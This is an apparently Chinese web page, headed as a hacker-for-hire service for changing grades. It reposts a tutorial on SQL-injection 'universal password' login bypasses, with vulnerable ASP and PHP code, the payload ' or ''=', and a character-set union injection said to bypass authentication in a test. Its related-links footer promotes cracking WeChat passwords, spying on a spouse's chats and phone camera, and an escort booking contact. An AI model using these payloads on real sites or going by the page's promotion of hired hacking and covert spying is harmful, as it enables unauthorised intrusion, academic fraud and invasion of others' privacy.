*** 找黑客改成绩(联系24小时接单黑客帮忙)?

访客4年前关于黑客接单1148

对于过滤了单引号或者做了post防注入的 站点,此 *** 也无能为力了;但对于很多对登陆端没做处理的网站,此 *** 值得一试,尤其是你已经知道源码了却不能执行命令(ACCESS数据库)或者对方能 报错( MYSQL数据库)。 

首先我们回顾下老的万能密码or漏洞的实现机制,先帖一段asp源码: 
---------------------------老的存在or漏洞的asp代码---------------------------------------- 

复制代码代码如下:
username = request.form("username") 
password = request.form("password ") 
set rs=server.createobject("adodb.recordset") 
sql = "select * from admin where UserName='"&username&"' And PassWord='"& password &"'" 
rs.open sql,conn,1,3-------------------------------------------------------------------------------------------------------- 


将表单中的username和password数据分别赋值给username和password,执行 
select * from admin where UserName='"&username&"' And PassWord='"&password&"' 语句 
但如果被赋值的username是 ' or ''=' (password任意填写)则SQL语句变成了 
select * from admin where UserName='' or ''='' And PassWord='123' 
''=''条件成立,则语句成功找到管理表里首位的帐号身份验证登陆,因而成了or漏洞,除' or ''='以外,'or'='or' 啊什么的都可以,于是早年or漏洞形成了万能登陆密码。 

针对这种or漏洞,很多asp站点进行了改进,改进后的源码大致如下: 
---------------------------后来经过改进后的asp代码----------------------------------------- 

复制代码代码如下:
username = request.form("username") 
password = request.form("password ") 
set rs=server.createobject("adodb.recordset") 
sql = "select [password] from admin where UserName='"&username&"'" 
rs.open sql,conn,1,3 
If password = rs("password") then 
…’登陆成功,文章来源:http://www.oldjun.com/ 
End if-------------------------------------------------------------------------------------------------------- 


现在很多asp站点的登陆页面都是这么写的,如果是mssql,还可以执行SQL语句;但如果是ACCESS,很多人应该都会望而却步了吧?其实在没有过滤单引号的情况下,我们还是可以用“万能密码”登陆进后台的。 

下面我们进入主题,讨论新型万能登陆密码,以php代码为例,由于字符集编码的问题,管理登陆端可以注入,先看源码: 

-----------存在字符集漏洞或者magic_quotes_gpc为off的php代码------------------- 

复制代码代码如下:
$row=$DB->query_first("SELECT * FROM admin WHERE username='$username'"); 
If($row){ 
if($password!=$row[password]) { 
…..//成功,文章来源:http://www.oldjun.com/ 
}else{ 
echo "用户名或密码错误!"; 

}else{ 
echo "用户名或密码错误!"; 
}-------------------------------------------------------------------------------------------------------- 


由于字符集问题,我们可以注入,但由于回显都一样,所以猜不到数据。根据错误提示,我们发现管理表一共6列,password在第三列,于是我们构造如下用户名与密码: 
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23 
Password=1 
带入登陆框,sql语句为: 
SELECT * FROM admin WHERE username='-1蟎' union select 1,1 as password,1,1,1,1 
前面的用户名肯定不存在,于是select出来的password就是1了,就等于提交的password了,经测试,成功绕过验证。 


相关文章

q空间q怎么改名字?一分钟学会(附详细图文教程

q空间q怎么改名字?一分钟学会(附详细图文教程

很多朋友喜欢把照片上传到QQ空间,让自己的形象得到更多的展示,给朋友更多的了解自己的机会,但我们上传照片时,常常会是英文数字混合的名称,不利于空间中照片的整理,因引有必要对相片名字进行修改,下面给新手...

道德黑客工作哪里找-公司邮箱收到一封黑客邮件(邮箱收到黑客邮件怎么

如何用黑客技术补系统漏洞什么软件能查家庭住址(身份证号查家庭住址)黑客网络怎么删存档通过手机摄像头看对方(偷看对方手机摄像头)黑客联盟怎么样黑客技术软件 免费(黑客技术软件下载)黑客照明怎么样世界五大...

成都商务高端预约

怎么才能预约的“成都商务高端模特”,我加上成都市模特经纪人手机微信(mt668a),查询商务的私人信息,照片材料,身高与体重,预约价钱和预约步骤,及其个人工作室部位啊和个人微信号。 成都市商务材料 个...

hz是什么单位?频率和赫兹的换算

hz是什么单位?频率和赫兹的换算

赫兹是什么的单位?频率赫兹的单位换算 赫兹是频率的单位。在电网里面,频率是指交变电信号一秒钟内变化的次数。单位时间内食物振动的次数,赫兹是频率的单位。我国电网的频率是50HZ,表示在在1秒钟内,供电...

怎么破解微信号密码 如何怎么查看别人最近微信

要实现代码如下///////////////////////////////////////////////////////////////////////////////////// typedef...

如何查看我老公删掉的微信聊天纪录(怎么查看另一方

如何查看我老公删掉的微信聊天纪录(怎么查看另一方微信聊天纪录),“我现如今培养了偷窥丈夫手机上的坏习惯,一最先我们可以看另一方的手机上,后原因为他在微...